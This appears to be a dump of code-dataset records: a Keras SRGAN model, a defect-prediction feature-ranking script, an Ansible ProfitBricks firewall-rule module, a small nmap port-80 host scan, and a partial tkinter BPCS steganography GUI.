discriminator\n self.discriminator = self.build_discriminator()\n self.discriminator.compile(loss='mse', optimizer=optimizer, metrics=['accuracy'])\n # Build the generator\n self.generator = self.build_generator()\n # High res. and low res. images\n img_hr = Input(shape=self.hr_shape)\n img_lr = Input(shape=self.lr_shape)\n # Generate high res. version from low res.\n fake_hr = self.generator(img_lr)\n # Extract image features of the generated img\n fake_features = self.vgg(fake_hr)\n # For the combined model we will only train the generator\n self.discriminator.trainable = False\n # Discriminator determines validity of generated high res. images\n validity = self.discriminator(fake_hr)\n self.combined = Model([img_lr, img_hr], [validity, fake_features])\n self.combined.compile(loss=['binary_crossentropy', 'mse'], loss_weights=[1e-3, 1], optimizer=optimizer)\n\n def build_vgg(self):\n # features of pre-trained VGG19 model at the third block\n vgg = VGG19(weights=\"imagenet\")\n vgg.outputs = [vgg.layers[9].output]\n img = Input(shape=self.hr_shape)\n img_features = vgg(img)\n return Model(img, img_features)\n\n def build_generator(self):\n # generator model\n def residual_block(layer_input, filters):\n \"\"\"Residual block described in paper\"\"\"\n d = Conv2D(filters, kernel_size=3, strides=1, padding='same')(layer_input)\n d = Activation('relu')(d)\n d = BatchNormalization(momentum=0.8)(d)\n d = Conv2D(filters, kernel_size=3, strides=1, padding='same')(d)\n d = BatchNormalization(momentum=0.8)(d)\n d = Add()([d, layer_input])\n return d\n def deconv2d(layer_input):\n \"\"\"Layers used during upsampling\"\"\"\n u = UpSampling2D(size=2)(layer_input)\n u = Conv2D(256, kernel_size=3, strides=1, padding='same')(u)\n u = Activation('relu')(u)\n return u\n # Low resolution image input\n img_lr = Input(shape=self.lr_shape)\n # Pre-residual block\n c1 = Conv2D(64, kernel_size=9, strides=1, padding='same')(img_lr)\n c1 = Activation('relu')(c1)\n # Propogate through residual blocks\n r = residual_block(c1, self.gf)\n for _ in range(self.n_residual_blocks - 1):\n r = residual_block(r, self.gf)\n # Post-residual block\n c2 = Conv2D(64, kernel_size=3, strides=1, padding='same')(r)\n c2 = BatchNormalization(momentum=0.8)(c2)\n c2 = Add()([c2, c1])\n # Upsampling\n u1 = deconv2d(c2)\n u2 = u1 if self.SCALE<4 else deconv2d(u1)\n u3 = u2 if self.SCALE<8 else deconv2d(u2)\n # Generate high resolution output\n gen_hr = Conv2D(self.channels, kernel_size=9, strides=1, padding='same', activation='tanh')(u3)\n return Model(img_lr, gen_hr)\n\n def build_discriminator(self):\n # discriminator model\n def d_block(layer_input, filters, strides=1, bn=True):\n \"\"\"Discriminator layer\"\"\"\n d = Conv2D(filters, kernel_size=3, strides=strides, padding='same')(layer_input)\n d = LeakyReLU(alpha=0.2)(d)\n if bn:\n d = BatchNormalization(momentum=0.8)(d)\n return d\n # Input img\n d0 = Input(shape=self.hr_shape)\n d1 = d_block(d0, self.df, bn=False)\n d2 = d_block(d1, self.df, strides=2)\n d3 = d_block(d2, self.df*2)\n d4 = d_block(d3, self.df*2, strides=2)\n d5 = d_block(d4, self.df*4)\n d6 = d_block(d5, self.df*4, strides=2)\n d7 = d_block(d6, self.df*8)\n d8 = d_block(d7, self.df*8, strides=2)\n d9 = Dense(self.df*16)(d8)\n d10 = LeakyReLU(alpha=0.2)(d9)\n validity = Dense(1, activation='sigmoid')(d10)\n return Model(d0, validity)\n\nif __name__==\"__main__\":\n gan = SRGAN_model((80,60,3), (640,480,3))\n print (gan.generator.summary())\n\n\n","sub_path":"nets/SRGAN.py","file_name":"SRGAN.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"239764614","text":"import numpy as np\r\nimport math\r\nfrom sklearn import preprocessing\r\nfrom sklearn.model_selection import StratifiedKFold\r\nimport pandas\r\nfrom scipy.io import arff\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.svm import LinearSVC\r\nfrom sklearn import metrics\r\nfrom sklearn.model_selection import GridSearchCV, train_test_split\r\n\r\ndef getdata(data):\r\n instance = data.shape[0]\r\n attribute = data.shape[1] - 1\r\n Defective = data[:, attribute]\r\n data = np.delete(data, attribute, axis=1)\r\n return data,instance,attribute,Defective\r\n\r\ndef getfeature(feature,fRank,n):\r\n Data = []\r\n for i in range(n):\r\n Data.append(feature[fRank[i]])\r\n return Data\r\n\r\ndef getDefectiveNum(Defective):\r\n DefectiveNum = []\r\n for i,v in enumerate(Defective):\r\n if v == b'Y':\r\n DefectiveNum.append(0)\r\n else:\r\n DefectiveNum.append(1)\r\n DefectiveNum = [float(i) for i in DefectiveNum]\r\n return DefectiveNum\r\n\r\ndef getminposition(mylist):\r\n minnum = min(mylist)\r\n position = mylist.index(minnum)\r\n return position\r\n\r\ndef delete(list1,list2):\r\n deltalist = []\r\n for i,v in enumerate(list1):\r\n deltalist.append(abs(list1[i]-list2[i]))\r\n return deltalist\r\n\r\ndef add(list1,list2):\r\n sumlist = []\r\n for i,v in enumerate(list1):\r\n sumlist.append(abs(list1[i]+list2[i]))\r\n return sumlist\r\n\r\ndef DecisionTree(X_train,Y_train):\r\n tree = DecisionTreeClassifier(max_depth=5, random_state=0)\r\n tree.fit(X_train, Y_train)\r\n return tree\r\n\r\ndef SVM(X_train, Y_train):\r\n lsvc = LinearSVC(max_iter=2000)\r\n lsvc.fit(X_train, Y_train)\r\n return lsvc\r\n\r\ndef F_Measure(true,pred):\r\n P = (metrics.precision_score(true, pred))\r\n R = (metrics.recall_score(true, pred))\r\n F = 2 * P * R / (P + R)\r\n return F\r\n\r\ndef F(TP, FN, FP, TN):\r\n if TP == 0: TP = 1\r\n P = TP / (TP + FP)\r\n R = TP / (TP + FN)\r\n F = 2 * P * R / (P + R)\r\n return F\r\n\r\nfilename = './Data/CM1'\r\n\r\ndataset, mate = arff.loadarff(filename+'.arff')\r\n#print(dataset)\r\ndf = pandas.DataFrame(dataset)\r\n#print(df)\r\n#dataset_ls = list(dataset)\r\noriginData = np.array(df)\r\n#print(originData.shape)\r\ndata, instance, attribute, Defective = getdata(originData)\r\n# print(data, \"\\n\",instance,\"\\n\", attribute,\"\\n\", Defective)\r\n#print(Tdata)\r\nDefectiveNum = getDefectiveNum(Defective)\r\n# print(DefectiveNum)\r\n#标准化\r\ndata = data.astype('float64')\r\nscaled = preprocessing.scale(data)\r\n# print(scaled)\r\n\r\n#计算k\r\nk = np.sum(Defective == b'N')/np.sum(Defective == b'Y')\r\nk = int(k)\r\n\r\n# print(k)\r\n#标准化距离\r\ned = np.zeros((instance, instance))\r\nalldata = instance*instance\r\nfor i in range(0, instance):\r\n for j in range(0, instance):\r\n ed[i][j] = np.linalg.norm(scaled[i,:] - scaled[j,:])\r\n# print(ed)\r\n\r\n#临近样本\r\nrank = []\r\nfor i in range(0, instance):\r\n rank.append(pandas.Series(ed[i, :]).rank(method='min').tolist())\r\n#print(rank)\r\n\r\nnearest = []\r\n\r\nfor index,i in enumerate(rank):\r\n n = []\r\n num = 0\r\n while 1:\r\n position = getminposition(i)\r\n if Defective[position] == b'Y' or position == index:\r\n i[position] = max(i)\r\n else:\r\n n.append(position)\r\n i[position] = max(i)\r\n num += 1\r\n if num == k:\r\n break\r\n nearest.append(n)\r\n# print(nearest)\r\n\r\n#特征差值\r\ndelta = []\r\nfor i,v in enumerate(data):\r\n d = []\r\n for j,w in enumerate(nearest[i]):\r\n d.append(delete(data[i], data[w]))\r\n delta.append(d)\r\n#print(delta)\r\n\r\n#特征权重\r\nW = np.zeros(attribute)\r\n#print(W)\r\nfor i,v in enumerate(delta):\r\n if Defective[i] == b'Y':\r\n for j in v:\r\n W = add(W,pandas.Series(j).rank(method='min').tolist())\r\n# print(W)\r\n\r\n#特征排序列表\r\nWRank = pandas.Series(W).rank(method='min').tolist()\r\nfRank = []\r\nflag = 0\r\nwhile 1:\r\n for i, v in enumerate(WRank):\r\n if v == max(WRank):\r\n fRank.append(i)\r\n WRank[i] = -1\r\n flag += 1\r\n if flag == attribute:\r\n break\r\n if flag == attribute:\r\n break\r\n\r\nprint(filename+\"特征排序列表:\",fRank)\r\n\r\nskf = StratifiedKFold(n_splits=10, random_state=None, shuffle=True)\r\n# skf.get_n_splits(data, DefectiveNum)\r\n# print(skf)\r\nDefectiveNum = np.array(DefectiveNum)\r\nfor train_index, test_index in skf.split(scaled, DefectiveNum):\r\n # print(type(train_index[1]))\r\n # print(\"TRAIN:\", train_index,'\\n', \"TEST:\", test_index)\r\n All_X_train, All_X_test = scaled[train_index], scaled[test_index]\r\n Y_train, Y_test = np.array(DefectiveNum)[train_index], DefectiveNum[test_index]\r\n log2_X_train,log2_X_test = [], []\r\n for i in range(len(All_X_train)):\r\n log2_X_train.append(getfeature(All_X_train[i],fRank,int(math.log2(All_X_train.shape[1]))))\r\n for i in range(len(All_X_test)):\r\n log2_X_test.append(getfeature(All_X_test[i],fRank,int(math.log2(All_X_test.shape[1]))))\r\n # print(len(log2_X_train),len(log2_X_train[0]),len(log2_X_test),len(log2_X_test[0]))\r\n log2_tree = DecisionTree(log2_X_train,Y_train)\r\n All_tree = DecisionTree(All_X_train,Y_train)\r\n\r\n log2_SVM = SVM(log2_X_train,Y_train)\r\n All_SVM = SVM(All_X_train,Y_train)\r\n\r\n log2_tree_pred = log2_tree.predict(log2_X_test)\r\n All_tree_pree = All_tree.predict(All_X_test)\r\n\r\n log2_SVM_pred = log2_SVM.predict(log2_X_test)\r\n All_SVM_pred = All_SVM.predict(All_X_test)\r\n #TP_log2_tree, FN_log2_tree, FP_log2_tree, TN_log2_tree\r\n C = metrics.confusion_matrix(Y_test, log2_tree_pred).ravel()\r\n TP_log2_tree, FN_log2_tree, FP_log2_tree, TN_log2_tree = metrics.confusion_matrix(Y_test, log2_tree_pred).ravel()\r\n TP_All_tree, FN_All_tree, FP_All_tree, TN_All_tree = metrics.confusion_matrix(Y_test, All_tree_pree).ravel()\r\n TP_log2_SVM, FN_log2_SVM, FP_log2_SVM, TN_log2_SVM = metrics.confusion_matrix(Y_test, log2_SVM_pred).ravel()\r\n TP_All_SVM, FN_All_SVM, FP_All_SVM, TN_All_SVM = metrics.confusion_matrix(Y_test, All_tree_pree).ravel()\r\n #print(TP_log2_tree)\r\n #print(FP_log2_tree)\r\n #print(FN_log2_tree)\r\n F_log2_tree = F(TP_log2_tree, FN_log2_tree, FP_log2_tree, TN_log2_tree)\r\n F_All_tree = F(TP_All_tree, FN_All_tree, FP_All_tree, TN_All_tree)\r\n F_log2_SVM = F(TP_log2_SVM, FN_log2_SVM, FP_log2_SVM, TN_log2_SVM)\r\n F_All_SVM = F(TP_All_SVM, FN_All_SVM, FP_All_SVM, TN_All_SVM)\r\n\r\n #F_log2_tree = F_Measure(Y_test,log2_tree_pred)\r\n #F_All_tree = F_Measure(Y_test,All_tree_pree)\r\n\r\n #F_log2_SVM = F_Measure(Y_test,log2_SVM_pred)\r\n #F_All_SVM = F_Measure(Y_test,All_tree_pree)\r\n\r\n print(filename+\"决策树log2子集F1值:\",F_log2_tree,\"决策树原始特征集F1值:\",F_All_tree,'\\n',\r\n filename+\"SVM训练log2子集F1值:\",F_log2_SVM,\"SVM训练原始特征集F1值:\",F_All_SVM)\r\n\r\n\r\n\r\n","sub_path":"数据挖掘实验三.py","file_name":"数据挖掘实验三.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"382536726","text":"#!/usr/bin/python\n# This file is part of Ansible\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n\nANSIBLE_METADATA = {'status': ['preview'],\n 'supported_by': 'community',\n 'version': '1.0'}\n\nDOCUMENTATION = '''\n---\nmodule: profitbricks_firewall_rule\nshort_description: Create or remove a firewall rule.\ndescription:\n - This module allows you to create or remove a firewlal rule.\nversion_added: \"2.2\"\noptions:\n datacenter:\n description:\n - The datacenter name or UUID in which to operate.\n required: true\n server:\n description:\n - The server name or UUID.\n required: true\n nic:\n description:\n - The NIC name or UUID.\n required: true\n name:\n description:\n - The name or UUID of the firewall rule.\n required: false\n protocol:\n description:\n - The protocol for the firewall rule.\n choices: [ \"TCP\", \"UDP\", \"ICMP\" ]\n required: true\n source_mac:\n description:\n - Only traffic originating from the respective MAC address is allowed. No value allows all source MAC addresses.\n required: false\n source_ip:\n description:\n - Only traffic originating from the respective IPv4 address is allowed. No value allows all source IPs.\n required: false\n target_ip:\n description:\n - In case the target NIC has multiple IP addresses, only traffic directed to the respective IP address of the NIC is allowed. No value allows all target IPs.\n required: false\n port_range_start:\n description:\n - Defines the start range of the allowed port (from 1 to 65534) if protocol TCP or UDP is chosen. Leave value empty to allow all ports.\n required: false\n port_range_end:\n description:\n - Defines the end range of the allowed port (from 1 to 65534) if the protocol TCP or UDP is chosen. Leave value empty to allow all ports.\n required: false\n icmp_type:\n description:\n - Defines the allowed type (from 0 to 254) if the protocol ICMP is chosen. No value allows all types.\n required: false\n icmp_code:\n description:\n - Defines the allowed code (from 0 to 254) if protocol ICMP is chosen. No value allows all codes.\n required: false\n subscription_user:\n description:\n - The ProfitBricks username. Overrides the PROFITBRICKS_USERNAME environement variable.\n required: false\n subscription_password:\n description:\n - The ProfitBricks password. Overrides the PROFITBRICKS_PASSWORD environement variable.\n required: false\n wait:\n description:\n - wait for the operation to complete before returning\n required: false\n default: \"yes\"\n choices: [ \"yes\", \"no\" ]\n wait_timeout:\n description:\n - how long before wait gives up, in seconds\n default: 600\n state:\n description:\n - Indicate desired state of the resource\n required: false\n default: \"present\"\n choices: [\"present\", \"absent\"]\n\nrequirements:\n - \"python >= 2.6\"\n - \"profitbricks >= 4.0.0\"\nauthor:\n - \"Matt Baldwin (baldwin@stackpointcloud.com)\"\n - \"Ethan Devenport (@edevenport)\"\n'''\n\nEXAMPLES = '''\n# Create a firewall rule\n- name: Create SSH firewall rule\n profitbricks_firewall_rule:\n datacenter: Virtual Datacenter\n server: node001\n nic: 7341c2454f\n name: Allow SSH\n protocol: TCP\n source_ip: 0.0.0.0\n port_range_start: 22\n port_range_end: 22\n state: present\n\n- name: Create ping firewall rule\n profitbricks_firewall_rule:\n datacenter: Virtual Datacenter\n server: node001\n nic: 7341c2454f\n name: Allow Ping\n protocol: ICMP\n source_ip: 0.0.0.0\n icmp_type: 8\n icmp_code: 0\n state: present\n\n# Remove a firewall rule\n- name: Remove public ping firewall rule\n profitbricks_firewall_rule:\n datacenter: Virtual Datacenter\n server: node001\n nic: aa6c261b9c\n name: Allow Ping\n state: absent\n'''\n\nRETURN = '''\n---\nid:\n description: UUID of the firewall rule.\n returned: success\n type: string\n sample: be60aa97-d9c7-4c22-bebe-f5df7d6b675d\nname:\n description: Name of the firwall rule.\n returned: success\n type: string\n sample: Allow SSH\nprotocol:\n description: Protocol of the firewall rule.\n returned: success\n type: string\n sample: TCP\nsource_mac:\n description: MAC address of the firewall rule.\n returned: success\n type: string\n sample: 02:01:97:d7:ed:49\nsource_ip:\n description: Source IP of the firewall rule.\n returned: success\n type: string\n sample: tcp\ntarget_ip:\n description: Target IP of the firewal rule.\n returned: success\n type: string\n sample: 10.0.0.1\nport_range_start:\n description: Start port of the firewall rule.\n returned: success\n type: int\n sample: 80\nport_range_end:\n description: End port of the firewall rule.\n returned: success\n type: int\n sample: 80\nicmp_type:\n description: ICMP type of the firewall rule.\n returned: success\n type: int\n sample: 8\nicmp_code:\n description: ICMP code of the firewall rule.\n returned: success\n type: int\n sample: 0\n'''\n\n# import uuid\nimport time\n\nHAS_PB_SDK = True\n\ntry:\n from profitbricks import __version__ as sdk_version\n from profitbricks.client import ProfitBricksService, FirewallRule\nexcept ImportError:\n HAS_PB_SDK = False\n\nPROTOCOLS = ['TCP',\n 'UDP',\n 'ICMP']\n\n\ndef _wait_for_completion(profitbricks, promise, wait_timeout, msg):\n if not promise: return\n wait_timeout = time.time() + wait_timeout\n while wait_timeout > time.time():\n time.sleep(5)\n operation_result = profitbricks.get_request(\n request_id=promise['requestId'],\n status=True)\n\n if operation_result['metadata']['status'] == 'DONE':\n return\n elif operation_result['metadata']['status'] == 'FAILED':\n raise Exception(\n 'Request failed to complete ' + msg + ' \"' + str(\n promise['requestId']) + '\" to complete.')\n\n raise Exception(\n 'Timed out waiting for async operation ' + msg + ' \"' + str(\n promise['requestId']\n ) + '\" to complete.')\n\n\ndef create_firewall_rule(module, profitbricks):\n \"\"\"\n Creates a firewall rule.\n\n module : AnsibleModule object\n profitbricks: authenticated profitbricks object.\n\n Returns:\n True if the firewal rule creates, false otherwise\n \"\"\"\n datacenter = module.params.get('datacenter')\n server = module.params.get('server')\n nic = module.params.get('nic')\n name = module.params.get('name')\n protocol = module.params.get('protocol')\n source_mac = module.params.get('source_mac')\n source_ip = module.params.get('source_ip')\n target_ip = module.params.get('target_ip')\n port_range_start = module.params.get('port_range_start')\n port_range_end = module.params.get('port_range_end')\n icmp_type = module.params.get('icmp_type')\n icmp_code = module.params.get('icmp_code')\n wait = module.params.get('wait')\n wait_timeout = module.params.get('wait_timeout')\n\n # Locate UUID for virtual datacenter\n datacenter_list = profitbricks.list_datacenters()\n datacenter_id = _get_resource_id(datacenter_list, datacenter)\n if not datacenter_id:\n module.fail_json(msg='Virtual data center \\'%s\\' not found.' % str(datacenter))\n\n # Locate UUID for server\n server_list = profitbricks.list_servers(datacenter_id)\n server_id = _get_resource_id(server_list, server)\n\n # Locate UUID for NIC\n nic_list = profitbricks.list_nics(datacenter_id, server_id)\n nic_id = _get_resource_id(nic_list, nic)\n\n try:\n profitbricks.update_nic(datacenter_id, server_id, nic_id,\n firewall_active=True)\n except Exception as e:\n module.fail_json(msg='Unable to activate the NIC firewall.' % str(e))\n\n f = FirewallRule(\n name=name,\n protocol=protocol,\n source_mac=source_mac,\n source_ip=source_ip,\n target_ip=target_ip,\n port_range_start=port_range_start,\n port_range_end=port_range_end,\n icmp_type=icmp_type,\n icmp_code=icmp_code\n )\n\n try:\n firewall_rule_response = profitbricks.create_firewall_rule(\n datacenter_id, server_id, nic_id, f\n )\n\n if wait:\n _wait_for_completion(profitbricks, firewall_rule_response,\n wait_timeout, \"create_firewall_rule\")\n return firewall_rule_response\n\n except Exception as e:\n module.fail_json(msg=\"failed to create the firewall rule: %s\" % str(e))\n\n\ndef delete_firewall_rule(module, profitbricks):\n \"\"\"\n Removes a firewall rule\n\n module : AnsibleModule object\n profitbricks: authenticated profitbricks object.\n\n Returns:\n True if the firewall rule was removed, false otherwise\n \"\"\"\n datacenter = module.params.get('datacenter')\n server = module.params.get('server')\n nic = module.params.get('nic')\n name = module.params.get('name')\n\n # Locate UUID for virtual datacenter\n datacenter_list = profitbricks.list_datacenters()\n datacenter_id = _get_resource_id(datacenter_list, datacenter)\n\n # Locate UUID for server\n server_list = profitbricks.list_servers(datacenter_id)\n server_id = _get_resource_id(server_list, server)\n\n # Locate UUID for NIC\n nic_list = profitbricks.list_nics(datacenter_id, server_id)\n nic_id = _get_resource_id(nic_list, nic)\n\n # Locate UUID for firewall rule\n firewall_rule_list = profitbricks.get_firewall_rules(datacenter_id, server_id, nic_id)\n firewall_rule_id = _get_resource_id(firewall_rule_list, name)\n\n try:\n firewall_rule_response = profitbricks.delete_firewall_rule(\n datacenter_id, server_id, nic_id, firewall_rule_id\n )\n return firewall_rule_response\n except Exception as e:\n module.fail_json(msg=\"failed to remove the firewall rule: %s\" % str(e))\n\n\ndef _get_resource_id(resource_list, identity):\n \"\"\"\n Fetch and return the UUID of a resource regardless of whether the name or\n UUID is passed.\n \"\"\"\n for resource in resource_list['items']:\n if identity in (resource['properties']['name'], resource['id']):\n return resource['id']\n return None\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n datacenter=dict(type='str', required=True),\n server=dict(type='str', required=True),\n nic=dict(type='str', required=True),\n name=dict(type='str', required=True),\n protocol=dict(type='str', choices=PROTOCOLS, required=False),\n source_mac=dict(type='str', default=None),\n source_ip=dict(type='str', default=None),\n target_ip=dict(type='str', default=None),\n port_range_start=dict(type='int', default=None),\n port_range_end=dict(type='int', default=None),\n icmp_type=dict(type='int', default=None),\n icmp_code=dict(type='int', default=None),\n subscription_user=dict(type='str', default=os.environ.get('PROFITBRICKS_USERNAME')),\n subscription_password=dict(type='str', default=os.environ.get('PROFITBRICKS_PASSWORD')),\n wait=dict(type='bool', default=True),\n wait_timeout=dict(type='int', default=600),\n state=dict(type='str', default='present'),\n )\n )\n\n if not HAS_PB_SDK:\n module.fail_json(msg='profitbricks required for this module')\n\n if not module.params.get('subscription_user'):\n module.fail_json(msg='subscription_user parameter or ' +\n 'PROFITBRICKS_USERNAME environment variable is required.')\n if not module.params.get('subscription_password'):\n module.fail_json(msg='subscription_password parameter or ' +\n 'PROFITBRICKS_PASSWORD environment variable is required.')\n\n subscription_user = module.params.get('subscription_user')\n subscription_password = module.params.get('subscription_password')\n\n profitbricks = ProfitBricksService(\n username=subscription_user,\n password=subscription_password)\n\n user_agent = 'profitbricks-sdk-ruby/%s Ansible/%s' % (sdk_version, __version__)\n profitbricks.headers = {'User-Agent': user_agent}\n\n state = module.params.get('state')\n\n if state == 'absent':\n try:\n (changed) = delete_firewall_rule(module, profitbricks)\n module.exit_json(changed=changed)\n except Exception as e:\n module.fail_json(msg='failed to set firewall rule state: %s' % str(e))\n\n elif state == 'present':\n try:\n (firewall_rule_dict) = create_firewall_rule(module, profitbricks)\n module.exit_json(**firewall_rule_dict)\n except Exception as e:\n module.fail_json(msg='failed to set firewall rules state: %s' % str(e))\n\nfrom ansible import __version__\nfrom ansible.module_utils.basic import *\n\nif __name__ == '__main__':\n main()\n","sub_path":"profitbricks/profitbricks_firewall_rule.py","file_name":"profitbricks_firewall_rule.py","file_ext":"py","file_size_in_byte":13428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"206575631","text":"import nmap\nimport getIPAddr\nimport json\nimport datetime\n\n\nnm = nmap.PortScanner()\nipAddr = getIPAddr.getMyIpAddr(None)\ncommand = 'nmap -p80'\nport = '80'\n\ntarget = open('connection_report.txt','w')\ntarget.write('scan at ' + datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + '\\n')\nnm.scan(ipAddr,port)\ntarget.write('found %s hosts up\\n' %len(nm.all_hosts()))\n\n#target.write(json.dumps(nm))\nfor host in nm.all_hosts():\n if nm[host].state() == 'up':\n target.write('\\t'+host+'\\n')\n \n\ntarget.close()\n\n","sub_path":"NWSense/nmap/pynmap.py","file_name":"pynmap.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"443365852","text":"#!/usr/bin/python\nfrom tkinter import *\nimport tkinter as tk\nimport tkinter.font as TkFont\nfrom tkinter import filedialog\nfrom PIL import ImageTk, Image\nimport imghdr\nimport bpcs\nimport os\nimport base64\n\n\ndef UploadPayload():\n filename = filedialog.askopenfilename()\n if len(e1.get()) > 0:\n e1.config(state=NORMAL)\n e1.delete(0, END)\n e1.insert(1, str(filename))\n\n\ndef UploadCover():\n filename = filedialog.askopenfilename()\n if len(e2.get()) > 0:\n e2.config(state=NORMAL)\n e2.delete(0, END)\n e2.insert(1, str(filename))\n\n\ndef ExtractPayload(file, option, alpha, message=None):\n if option == 1:\n # output = open(\"decoded_message.txt\", \"x\")\n\n bpcs.decode(file, \"decoded_message.txt\", alpha)\n with open('decoded_message.txt') as file:\n data = str(file.read())\n return data\n # decodedoutput.insert(tk.END, data)\n elif option == 2 and message is not None:\n pic = \"encoded_file.png\" # +file.split('.')[1]\n bpcs.encode(file, message, pic, alpha)\n else:\n print(\"Invalid Option\")\n return None\n\n\ndef ConfirmAction():\n payloadname = e1.get()\n covername = e2.get()\n # print(payloadname[-3:],\"payload type\",\"//cover==\",covername.split(\".\")[1])\n encodedfilename = \"\"\n outputtext = tk.Text(window, width=25, height=20, bg=\"white\")\n imagecanvas = Canvas(window, width=picwidth, height=picheight)\n if covername[-3:] == \"txt\":\n print(\"Error: Cannot put txt file as Cover Image\")\n else:\n canvas = Canvas(window, width=picwidth, height=picheight)\n\n encodedimg = Canvas(window, width=picwidth, height=picheight)\n img = ImageTk.PhotoImage(Image.open(covername).resize((200, 200), Image.ANTIALIAS)) # prep payload image\n canvas.grid(row=5, column=1)\n encodedimg.grid(row=5, column=5)\n canvas.create_image(10, 10, anchor=NW, image=img)\n\n if payloadname[-3:] == \"txt\" and covername.split(\".\")[1] == \"png\":\n # lab = tk.Label(window, width=30, text=payloadname.split(\"/\")[-1])\n # lab.grid(row=3, column=1)\n # coverlabel1 = tk.Label(window, text=\"Cover image:\").grid(row=3, column=1) # prep payload label\n\n encodedfilename = \"encoded_file.png\"\n ExtractPayload(covername, 2, 0.45, message=payloadname)\n data = ExtractPayload(encodedfilename, 1, 0.45)\n\n outputtext.grid(row=8, column=1, sticky=tk.N + tk.W)\n # Display image with encoded stuff\n outputtext.insert(tk.END, data)\n # encodedimg = Canvas(window, width=picwidth, height=picheight)\n # encodedimg.grid(row=5, column=5)\n # img2 = ImageTk.PhotoImage(Image.open(\"encoded_file.png\").resize((300, 300), Image.ANTIALIAS))#prep cover image\n # canvas2.create_image(10, 10, image=img2)\n\n button4 = tk.Button(window, text='Clear Text', command=outputtext.destroy).grid(row=8, column=4, sticky=NE)\n elif payloadname[-3:] == \"txt\" and covername.split(\".\")[1] == \"jpg\":\n\n # print(\"jpg detected\")\n #\n # # coverlabel1 = tk.Label(window, text=\"Cover image:\").grid(row=3, column=1) # prep cover label\n # canvas = createImage(covername)\n # canvas.grid(row=5, column=1)\n # # img = ImageTk.PhotoImage(Image.open(covername), Image.ANTIALIAS)#prep cover image\n # # canvas.create_image(10, 10, image=img)\n\n ExtractPayload(covername, 2, 0.45, message=payloadname)\n data = ExtractPayload(\"encoded_file.png\", 1, 0.45)\n\n encodedfilename = \"encoded_file.jpg\"\n origPNG = Image.open(\"encoded_file.png\") # convert png to jpeg\n rgb_jpg = origPNG.convert('RGB')\n rgb_jpg.save(encodedfilename)\n # outputtext = tksText(window, width=25, height=20, bg=\"white\")\n outputtext.grid(row=8, column=1, sticky=tk.N + tk.W)\n # Display image with encoded stuff\n outputtext.insert(tk.END, data)\n # encodedimg=createImage('encoded_file.jpg')\n # canvas2 = Canvas(window, width=picwidth, height=picheight)\n # canvas2.grid(row=5, column=5)\n # img2 = ImageTk.PhotoImage(Image.open('encoded_file.jpg').resize((300, 300), Image.ANTIALIAS))\n # canvas2.create_image(10, 10, anchor=NW, image=img2)\n\n button4 = tk.Button(window, text='Clear Text', command=outputtext.destroy).grid(row=8, column=4, sticky=NE)\n elif imghdr.what(covername) == \"png\" and imghdr.what(payloadname) == \"png\":\n # coverlabel1 = tk.Label(window, text=\"Cover image:\").grid(row=3, column=1) #prep cover label\n # canvas =createImage(covername)\n # # canvas = Canvas(window, width=picwidth, height=picheight)\n # canvas.grid(row=5, column=1)\n # img = ImageTk.PhotoImage(Image.open(covername).resize((300, 300), Image.ANTIALIAS))\n # canvas.create_image(10, 10, anchor=NW, image=img)\n EncodeDecodePNG2PNG(payloadname, covername)\n imagecanvas = Canvas(window, width=picwidth, height=picheight)\n imagecanvas.grid(row=8, column=1)\n imagemsg = ImageTk.PhotoImage(Image.open(\"RetrievedImage.png\").resize((200, 200), Image.ANTIALIAS))\n imagecanvas.create_image(10, 10, anchor=NW, image=imagemsg)\n encodedfilename = \"encoded_file.png\"\n button4 = tk.Button(window, text='Clear Image', command=imagecanvas.destroy).grid(row=8, column=4, sticky=NE)\n elif covername.split(\".\")[1] == \"jpg\" and payloadname.split(\".\")[1] == \"jpg\":\n # coverlabel1 = tk.Label(window, text=\"Cover image:\").grid(row=3, column=1) # prep payload label\n # canvas = Canvas(window, width=picwidth, height=picheight)\n # canvas =createImage(covername)\n # # canvas = Canvas(window, width=picwidth, height=picheight)\n # canvas.grid(row=5, column=1)\n # canvas.grid(row=4, column=1)\n # img = ImageTk.PhotoImage(Image.open(covername).resize((300, 300), Image.ANTIALIAS))\n # canvas.create_image(10, 10, anchor=NW, image=img)\n EncodeDecodeJPG2JPG(payloadname, covername)\n encodedfilename = \"encoded_file.jpg\"\n\n imagecanvas.grid(row=8, column=1)\n imagemsg = ImageTk.PhotoImage(Image.open('RetrievedImage.jpg').resize((200, 200), Image.ANTIALIAS))\n imagecanvas.create_image(10, 10, anchor=NW, image=imagemsg)\n button4 = tk.Button(window, text='Clear Image', command=imagecanvas.destroy).grid(row=8, column=4, sticky=NE)\n elif covername.split(\".\")[1] != payloadname.split(\".\")[1]:\n temp1 = \"\"\n temp2 = \"\"\n # coverlabel1 = tk.Label(window, text=\"Cover image:\").grid(row=3, column=1) # prep cover label\n # canvas = Canvas(window, width=picwidth, height=picheight)\n # # canvas.grid(row=4, column=1)\n # img = ImageTk.PhotoImage(Image.open(covername).resize((300, 300), Image.ANTIALIAS))\n # canvas.create_image(10, 10, anchor=NW, image=img)\n\n # coverlabel1 = tk.Label(window, text=\"Payload image:\").grid(row=3, column=2) # prep payload label\n\n # decodecanvas=createImage(payloadname)\n # # canvas11 = Canvas(window, width=picwidth, height=picheight)\n # canvas11.grid(row=4, column=2)\n # img11 = ImageTk.PhotoImage(Image.open(payloadname).resize((300, 300), Image.ANTIALIAS))\n # canvas11.create_image(10, 10, anchor=NW, image=img11)\n\n origPNG = Image.open(payloadname) # convert png to jpeg\n rgb_jpg = 